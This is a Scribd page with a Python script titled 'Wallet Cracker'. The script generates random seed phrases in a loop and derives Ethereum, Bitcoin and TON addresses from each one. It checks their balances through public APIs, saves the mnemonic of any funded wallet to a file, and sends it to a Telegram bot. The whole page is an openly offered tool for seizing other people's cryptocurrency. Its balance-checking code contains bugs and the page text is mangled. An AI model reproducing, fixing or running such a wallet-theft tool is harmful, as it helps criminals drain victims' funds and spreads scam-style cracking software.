0% found this document useful (0 votes)
828 views4 pages

Wallet Cracker

2xwallet

Uploaded by

sorbi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
828 views4 pages

Wallet Cracker

2xwallet

Uploaded by

sorbi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

from tonsdk.

crypto import mnemonic_to_wallet_key


from tonsdk.contract.wallet import Wallets, WalletVersionEnum
from tonsdk.crypto import mnemonic_new
from cachetools import TTLCache
from telegram import Bot
import asyncio
import aiohttp
import requests
import backoff
from termcolor import colored
from mnemonic import Mnemonic
from bip32utils import BIP32Key
from cryptofuzz import Bitcoin, Ethereum, Tron, Dogecoin, Dash, Litecoin,
BitcoinGold, DigiByte, Ravencoin, Convertor, Generator
from pyfiglet import Figlet
import colorama

conv = Convertor()
gen = Generator()
eth = Ethereum()
btc = Bitcoin()

async def generate_random_words():


return mnemonic_new()

def generate_ethereum_address(words):
words_tuple = tuple(words)
phrase = ' '.join(words_tuple)
privatekey = conv.mne_to_hex(phrase)
eth_address = eth.hex_addr(privatekey)
return eth_address

def generate_BTCereum_address(words):
phrase = ' '.join(words)
privatekey = conv.mne_to_hex(phrase)
btc_address = btc.hex_addr(privatekey, "p2pkh")
return btc_address

def generate_toncoin_address(words):
_mnemonics, pub_k, priv_k, wallet = Wallets.from_mnemonics(mnemonics=words,
version=WalletVersionEnum.v4r2, workchain=0)
ton_address = wallet.address.to_string(is_user_friendly=True)
return ton_address

balance_cache = TTLCache(maxsize=1000, ttl=300)

@backoff.on_exception(backoff.expo,
(TimeoutError, aiohttp.ClientError),
max_tries=3)
async def check_balance_ethereum(session, address):
if address in balance_cache:
return balance_cache[address]

url = f'https://ethereum.atomicwallet.io/api/v2/address/{address}'
timeout = aiohttp.ClientTimeout(total=30) # ‫ ثانیه‬۳۰ ‫افزایش زمان تایم‌اوت به‬

try:
async with session.get(url, timeout=timeout) as response:
data = await response.json()
if data['txs'] > 0:
balance_wei = int(data['balance'])
balance_eth = balance_wei / 10**18
balance_cache[address] = balance_eth
return balance_eth
return 0
except asyncio.TimeoutError:
print(colored("dar hale talash mojadad ...", "yellow"))
return 0
except Exception as e:
print(colored(f"khata dar baresi mojodi {e}", "red"))
return 0

async def check_balance_BTCereum(session, address):


url = f"https://bitcoin.atomicwallet.io/api/v2/address/{address}"
async with session.get(url) as response:
data = await response.json()

if data['txs'] > 0:
balance_wei = int(data['balance'])
balance_btc = balance_wei / 100000000
return balance_btc
else:
return 0

async def check_balance_toncoin(session, address):


url = f'https://tonapi.io/v2/accounts/{address}'
async with session.get(url) as response:
if response.status == 200:
try:
data = await response.json()
balance_wei = int(data['balance'])
balance_btc = balance_wei / 1000000000
return balance_btc
except:
return 0
else:
return 0

async def send_to_telegram(message):


bot_token = 'your bot token'
chat_id = 'your chat id'

url = f'https://api.telegram.org/bot{bot_token}/sendMessage'
data = {
'chat_id': chat_id,
'text': message,
'parse_mode': 'HTML'
}

response = requests.post(url, data=data)


return response.json()

async def process_address(session, live_counter_list, dead_counter_list,


balanced_addresses):
words = await generate_random_words()
eth_address = generate_ethereum_address(words)
btc_address = generate_BTCereum_address(words)
ton_address = generate_toncoin_address(words)

eth_balance = await check_balance_ethereum(session, eth_address)


btc_balance = await check_balance_BTCereum(session, btc_address)
ton_balance = await check_balance_toncoin(session, ton_address)

balance = eth_balance + btc_balance + ton_balance

if balance is not None:


if balance > 0.000000:
live_counter_list[0] += 1
balanced_addresses.append(f'{" ".join(words)} | {eth_address} |
BALANCE: {eth_balance:.6f} ETH | {btc_address} | BALANCE: {btc_balance:.6f} BTC |
{ton_address} | BALANCE: {ton_balance:.6f} TON')
print(colored(f'TOTAL LIVE: {live_counter_list[0]} \n MNEMONIC: {"
".join(words)} \n BALANCE: {eth_balance:.6f} ETH | ADDRESS: {eth_address} \n
BALANCE: {btc_balance:.6f} BTC | ADDRESS: {btc_address} \n BALANCE:
{ton_balance:.6f} TON | ADDRESS: {ton_address}', 'green'))
#input('Press Enter to continue...')
with open('found_wallets.txt', 'a', encoding='utf-8') as f:
wallet_info = f"""
=== ‫=== کیف پول پیدا شده‬
🔑 Mnemonic: {" ".join(words)}

ETH Address: {eth_address}


ETH Balance: {eth_balance:.8f}

BTC Address: {btc_address}


BTC Balance: {btc_balance:.8f}

TON Address: {ton_address}


TON Balance: {ton_balance:.8f}

=====================================
"""
f.write(wallet_info)

print(colored(f'Wallet Found', 'green'))


send_to_telegram(wallet_info)
else:
dead_counter_list[0] += 1
print(colored(f'TOTAL DEAD: {dead_counter_list[0]} BALANCE: 0 [EMPITY]
', 'red'))
async def main():
num_threads = 10
connector = aiohttp.TCPConnector(
limit=num_threads,
force_close=True,
enable_cleanup_closed=True
)

timeout = aiohttp.ClientTimeout(total=30)

live_counter_list = [0]
dead_counter_list = [0]
balanced_addresses = []

async with aiohttp.ClientSession(


connector=connector,
timeout=timeout,
headers={
'User-Agent': 'Mozilla/5.0',
'Accept': 'application/json'
}
) as session:
while True:
tasks = []
for _ in range(num_threads):
task = process_address(session, live_counter_list,
dead_counter_list, balanced_addresses)
tasks.append(task)

await asyncio.gather(*tasks, return_exceptions=True)


await asyncio.sleep(0.1)

if len(balanced_addresses) > 0:
filename = 'found_wallets.txt'
with open(filename, 'a') as file:
file.write('\n'.join(balanced_addresses))
print(colored(f'{len(balanced_addresses)} Balanced addresses saved
to {filename}', 'yellow'))
balanced_addresses = []
if __name__ == "__main__":
print("SorbiTools")
asyncio.run(main())

You might also like